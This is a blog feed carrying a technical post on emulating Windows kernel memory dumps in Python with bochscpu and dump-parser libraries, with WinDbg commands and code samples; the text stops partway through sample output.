<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>BlahCats Blog</title>
    <subtitle>Tales of a binary encoded life...</subtitle>
    <link rel="self" type="application/atom+xml" href="https://blahcat.github.io/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://blahcat.github.io"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2024-07-01T00:00:00+00:00</updated>
    <id>https://blahcat.github.io/atom.xml</id>
    <entry xml:lang="en">
        <title>Tapping into the potential of Memory Dump Emulation</title>
        <published>2024-01-27T00:00:00+00:00</published>
        <updated>2024-03-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2024-01-27-tapping-into-the-potential-of-memory-dump-emulation/"/>
        <id>https://blahcat.github.io/2024-01-27-tapping-into-the-potential-of-memory-dump-emulation/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2024-01-27-tapping-into-the-potential-of-memory-dump-emulation/">&lt;p&gt;This post summarizes some of the work I’ve been doing for the past few months during my (few) off times. Nothing new, mostly just a structured reminder for my later self.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;0vercl0k&#x2F;wtf&quot;&gt;&lt;code&gt;What-The-Fuzz&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; is one of my favorite tools, and beyond the tool itself I really enjoy the story behind the creation of the tool itself and all of the surrounding libraries &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;0vercl0k&quot;&gt;0vercl0k&lt;&#x2F;a&gt; had to build, including &lt;code&gt;kdmp-parser&lt;&#x2F;code&gt;, &lt;code&gt;symbolizer&lt;&#x2F;code&gt;, leveraged &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;yrp604&quot;&gt;yrp&lt;&#x2F;a&gt;’s underestimated bochs-based emulation library &lt;code&gt;bochscpu&lt;&#x2F;code&gt;. 0vercl0k explained all of this better than I possible could, so if you haven’t read it yet, please stop reading this post now and read the blog post dedicated to WTF: &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doar-e.github.io&#x2F;blog&#x2F;2021&#x2F;07&#x2F;15&#x2F;building-a-new-snapshot-fuzzer-fuzzing-ida&#x2F;&quot;&gt;Building a new snapshot fuzzer &amp;amp; fuzzing IDA&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;I used to use memory dump mostly as a final way to access the crashing condition and execution context of a program before its crash. Dumps are very much used for debugging, fuzzing crash analysis, and sometimes for DFIR (like with the famous - RIP? - &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;volatilityfoundation&#x2F;volatility&quot;&gt;Volatility&lt;&#x2F;a&gt; does). But to my knowledge, WTF was the first tool to use them for snapshot-based fuzzing (* if not, please shoot me a remark in the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;blahcat&#x2F;blahcat.github.io&#x2F;discussions?discussions_q=is%3Aopen+Tapping+into+the+potential+of+Memory+Dump+Emulation&quot;&gt;Discussion&lt;&#x2F;a&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;Following the well-known Feynman principle that &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;simple.wikiquote.org&#x2F;wiki&#x2F;Richard_Feynman#cite_note-2&quot;&gt;“what you cannot create, you do not understand”&lt;&#x2F;a&gt;, I wanted to see where digging into this topic will lead me. And boy wasn’t I disappointed… But first and before all, I wanted whatever my work to be Python because:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;it is the de-facto language for quick prototyping, comes with an awesome REPL and has a great ecosystem via PyPI&lt;&#x2F;li&gt;
&lt;li&gt;has a great capability to interact with lower level machine code&lt;&#x2F;li&gt;
&lt;li&gt;I know and like the language&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;So immediately, I was stopped: originally &lt;code&gt;bochscpu&lt;&#x2F;code&gt; was written in Rust, &lt;code&gt;kdmp-parser&lt;&#x2F;code&gt; and &lt;code&gt;udmp-parser&lt;&#x2F;code&gt; in C++ and only &lt;code&gt;kdmp-parser&lt;&#x2F;code&gt; had an embryo of Python bindings (many API&#x2F;structures missing, no PyPI). Perfect, so I set myself to completely dive into those libs by&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;creating Python bindings for &lt;code&gt;udmp-parser&lt;&#x2F;code&gt; and &lt;code&gt;bochscpu&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;improving the Python bindings &lt;code&gt;kdmp-parser&lt;&#x2F;code&gt; &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;0vercl0k&#x2F;kdmp-parser&#x2F;tree&#x2F;3bec915e6f5304c187765be7ce3cfde713d7c29b&quot;&gt;originally had&lt;&#x2F;a&gt;, developed by &lt;a rel=&quot;noopener nofollow noreferrer&quot; class=&quot;fab fa-github&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;masthoon&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;masthoon&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;At the time of this article, anyone can &lt;code&gt;pip install&lt;&#x2F;code&gt; any of those packages and start playing directly within the Python interpreter 3.8+ on either Windows, Linux and MacOS (since 0.1.7+) So just in order to reproduce any of the stuff mentioned below, all one would need do is:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pip&lt;&#x2F;span&gt;&lt;span&gt; install udmp-parser kdmp-parser bochscpu-python
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;to be fully set to follow along with the experiments below. Having the pre-requisites we can start digging (because yes, all that initial work was only to get start the intended research) by:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;using &lt;code&gt;udmp-parser&lt;&#x2F;code&gt;  to parse user-mode process dumps&lt;&#x2F;li&gt;
&lt;li&gt;or using &lt;code&gt;kdmp-parser&lt;&#x2F;code&gt;, to parse kernel memory dumps&lt;&#x2F;li&gt;
&lt;li&gt;and use those information to reconstitute a workable environment (memory layout, cpu context, etc.) for &lt;code&gt;bochscpu&lt;&#x2F;code&gt; to run whatever code we choose to.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The best parts (IMO) about all of this was that this whole setup works no matter the process and allow us to get an absolute control over the execution.&lt;&#x2F;p&gt;
&lt;p&gt;We will explore each case individually, but first let’s examine a bit more the libraries at hand.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;quick-lib-peek&quot;&gt;Quick lib peek&lt;&#x2F;h2&gt;
&lt;p&gt;This part is important as none of what follows would have been possible without those libraries, it is only fair to promote them first.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;bochs-1-bochscpu-2&quot;&gt;&lt;code&gt;Bochs[1]&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;BochsCPU[2]&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;It is well-known that the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bochs-emu&#x2F;Bochs&quot;&gt;Bochs emulator&lt;&#x2F;a&gt; has incredibly powerful instrumentation capabilities and is regarded as being very faithful to the x86 ABI implementation itself (including the most recent extensions). &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;yrp604&#x2F;BochsCPU&quot;&gt;&lt;code&gt;BochsCPU&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; by &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;yrp604&quot;&gt;yrp&lt;&#x2F;a&gt;, on the other hand, is a Rust library that wraps the Bochs CPU code and exposes via Rust API (and C++ via FFI) all the instrumentation points (context switches, interrupts, exceptions, etc) that Bochs does. This makes it a useful tool for tasks such as developing &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;bochscpu-python&#x2F;blob&#x2F;main&#x2F;examples&#x2F;real_mode_print_hello_world.py&quot;&gt;code any X86 mode&lt;&#x2F;a&gt;, dealing with very old, mission-critical software, and assisting in reversing&#x2F;vulnerability research tasks.&lt;&#x2F;p&gt;
&lt;p&gt;And that’s an amazing environment since Bochs is extremely faithful to what the x86 cpu actually executes, it will be merciless should you fail to prepare the CPU state adequately (missing flags when setting long mode, forgot to reset a trap flag, etc.). Even though that could seem tedious, especially if compared to &lt;code&gt;unicorn&#x2F;qemu&lt;&#x2F;code&gt; for instance, that abstracts everything beforehand to the dev. But I believe such behavior by forcing to read carefully the Intel manuals to have the expected behavior, it only makes you know X86 CPU better.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;udmp-parser-3-kdmp-parser-4&quot;&gt;&lt;code&gt;udmp-parser[3]&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;kdmp-parser[4]&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;udmp-parser&lt;&#x2F;code&gt; and &lt;code&gt;kdmp-parser&lt;&#x2F;code&gt; are both cross-platform C++ parser library written by &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;0vercl0k&quot;&gt;0vercl0k&lt;&#x2F;a&gt; for Windows memory dumps, respectively for user-mode (using &lt;code&gt;.dump &#x2F;m&lt;&#x2F;code&gt; in WinDbg) and kernel-mode (&lt;code&gt;.dump &#x2F;f|&#x2F;ka&lt;&#x2F;code&gt; in WinDbg) dumps. And cherry on top, both come with Python3 bindings, allowing for quick prototyping.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;windows-kernel-mode-emulation&quot;&gt;Windows Kernel-mode emulation&lt;&#x2F;h2&gt;
&lt;p&gt;Armed with those libraries, running the emulator from a Windows kernel dump is now “relatively” simple (as opposed to user-mode, we’ll detail why in the next part) because the dump is nothing more but a snapshot of the OS state at a given time.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;first-always-take-a-solid-dump&quot;&gt;First, always take a solid dump&lt;&#x2F;h3&gt;
&lt;p&gt;First from a KdNet session, you can easily create a dump at an interesting point. When looking for interesting attack surface, I like to use my own &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;CFB&quot;&gt;IRP monitor tool&lt;&#x2F;a&gt; #ShamelessSelfPromo; but for our example really anything would do, like the following:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; bp &#x2F;w &amp;quot;@$curprocess.Name == \&amp;quot;explorer.exe\&amp;quot;&amp;quot; nt!NtDeviceIoControlFile
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;Breakpoint 0 hit
&lt;&#x2F;span&gt;&lt;span&gt;nt!NtDeviceIoControlFile:
&lt;&#x2F;span&gt;&lt;span&gt;fffff807`4f7a4670 4883ec68        sub     rsp,68h
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;One way to get the dump would be using &lt;code&gt;.dump&lt;&#x2F;code&gt; command as such&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; .dump &#x2F;ka c:\temp\ActiveKDump.dmp
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;But a better way would be to use the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;yrp604&#x2F;bdump&quot;&gt;yrp’s &lt;code&gt;bdump.js&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; script&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; .scriptload &amp;quot;C:\bdump\bdump.js&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;kd&amp;gt; !bdump_active_kernel &amp;quot;C:\\Temp\\ActiveKDump.dmp&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;[bdump] saving mem, get a coffee or have a smoke, this will probably take around 10-15 minutes...
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;[bdump] Dump successfully written
&lt;&#x2F;span&gt;&lt;span&gt;[bdump] done!
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;build-the-bochscpu-session&quot;&gt;Build the BochsCPU session&lt;&#x2F;h3&gt;
&lt;p&gt;Parsing the dump with &lt;code&gt;kdmp_parser.KernelDumpParser&lt;&#x2F;code&gt; is as simple as it gets so let’s leave it to that. For BochsCPU to run it’s critical to have a PF handler callback, which can be done as a simple on-demand basis: full memory dumps can be several gigabytes in size, so it seems unreasonable to map it all on host, especially since when we probably are going to need a fraction of that. This ended up being relatively elegant and simple:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;dmp = kdmp_parser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;KernelDumpParser&lt;&#x2F;span&gt;&lt;span&gt;(pathlib.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Path&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;path&#x2F;to&#x2F;dumpfile.dmp&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;missing_page_cb&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pa&lt;&#x2F;span&gt;&lt;span&gt;: int):
&lt;&#x2F;span&gt;&lt;span&gt;  gpa = bochscpu.memory.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;align_address_to_page&lt;&#x2F;span&gt;&lt;span&gt;(pa)
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;gpa in dmp.pages:          &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# do we already have the page in the dump?
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# then create &amp;amp; copy the page content, resume execution
&lt;&#x2F;span&gt;&lt;span&gt;    hva = bochscpu.memory.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;allocate_host_page&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;    page = dmp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_physical_page&lt;&#x2F;span&gt;&lt;span&gt;(gpa)
&lt;&#x2F;span&gt;&lt;span&gt;    bochscpu.memory.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;page_insert&lt;&#x2F;span&gt;&lt;span&gt;(gpa, hva)
&lt;&#x2F;span&gt;&lt;span&gt;    bochscpu.memory.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;phy_write&lt;&#x2F;span&gt;&lt;span&gt;(gpa, page)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;sess = bochscpu.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Session&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;sess.missing_page_handler = missing_page_cb
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This gives us a first chance to address missing pages, whereas the PageFault exception triggered by the CPU (i.e &lt;code&gt;PageFault&lt;&#x2F;code&gt; -&amp;gt; &lt;code&gt;BX_PF_EXCEPTION&lt;&#x2F;code&gt; (14) ) will give us a second chance to analyze the page fault, as the &lt;code&gt;error code&lt;&#x2F;code&gt; will be populated, we can check the reason of the fault using the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.intel.com&#x2F;content&#x2F;dam&#x2F;www&#x2F;public&#x2F;us&#x2F;en&#x2F;documents&#x2F;manuals&#x2F;64-ia-32-architectures-software-developer-vol-3a-part-1-manual.pdf&quot;&gt;Intel 3A - 4.7 section&lt;&#x2F;a&gt; of the Intel manuals.&lt;&#x2F;p&gt;
&lt;p&gt;Next, a &lt;code&gt;bochscpu.State&lt;&#x2F;code&gt; must be given to the CPU indicating the context from which to start including the (extended) CR, GPR, flag registers and segment registers. Note that several helpers can be found in &lt;code&gt;bochscpu.cpu&lt;&#x2F;code&gt; to slightly speed up that process.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;regs = json.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;loads&lt;&#x2F;span&gt;&lt;span&gt;(pathlib.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Path&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;path&#x2F;to&#x2F;regs.json&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_text&lt;&#x2F;span&gt;&lt;span&gt;())
&lt;&#x2F;span&gt;&lt;span&gt;state = bochscpu.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;State&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;bochscpu.cpu.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;set_long_mode&lt;&#x2F;span&gt;&lt;span&gt;(state)
&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;state.cr3 = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(regs[&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;cr3&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;], &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;state.cr0 = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(regs[&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;cr0&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;], &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;state.cr4 = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(regs[&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;cr4&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;], &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;state.rax = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(regs[&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;rax&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;], &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;state.rbx = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(regs[&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;rbx&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;], &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;state.rcx = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(regs[&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;rcx&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;], &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;state.rdx = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(regs[&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;rdx&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;], &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;... &lt;&#x2F;span&gt;&lt;span&gt;snip &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;brievety]
&lt;&#x2F;span&gt;&lt;span&gt;sess.cpu.state = state
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Last (but technically optionally), define the Bochs callbacks on the plethora of hookable events:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;before_execution_cb&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sess&lt;&#x2F;span&gt;&lt;span&gt;: bochscpu.Session, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cpu_id&lt;&#x2F;span&gt;&lt;span&gt;: int, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;: int):
&lt;&#x2F;span&gt;&lt;span&gt;    state = sess.cpu.state
&lt;&#x2F;span&gt;&lt;span&gt;    logging.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;info&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Executing RIP=&lt;&#x2F;span&gt;&lt;span&gt;{state.rip&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;:#016x&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; on &lt;&#x2F;span&gt;&lt;span&gt;{cpu_id&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;}&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;hook = bochscpu.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Hook&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;hook.before_execution = before_execution_cb
&lt;&#x2F;span&gt;&lt;span&gt;hooks = [hook,]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And finally kick things off with a simple call&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;sess.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;run&lt;&#x2F;span&gt;&lt;span&gt;(hooks)
&lt;&#x2F;span&gt;&lt;span&gt;sess.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;stop&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bat&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bat &quot;&gt;&lt;code class=&quot;language-bat&quot; data-lang=&quot;bat&quot;&gt;&lt;span&gt;$ python kdump_runner.py
&lt;&#x2F;span&gt;&lt;span&gt;Executing RIP=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xfffff80720a9d4c0&lt;&#x2F;span&gt;&lt;span&gt; on cpu_id=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span&gt;Executing RIP=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xfffff80720a9d4c4&lt;&#x2F;span&gt;&lt;span&gt; on cpu_id=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span&gt;Executing RIP=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xfffff80720a9d4cb&lt;&#x2F;span&gt;&lt;span&gt; on cpu_id=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span&gt;Executing RIP=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xfffff80720a9d4d0&lt;&#x2F;span&gt;&lt;span&gt; on cpu_id=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0
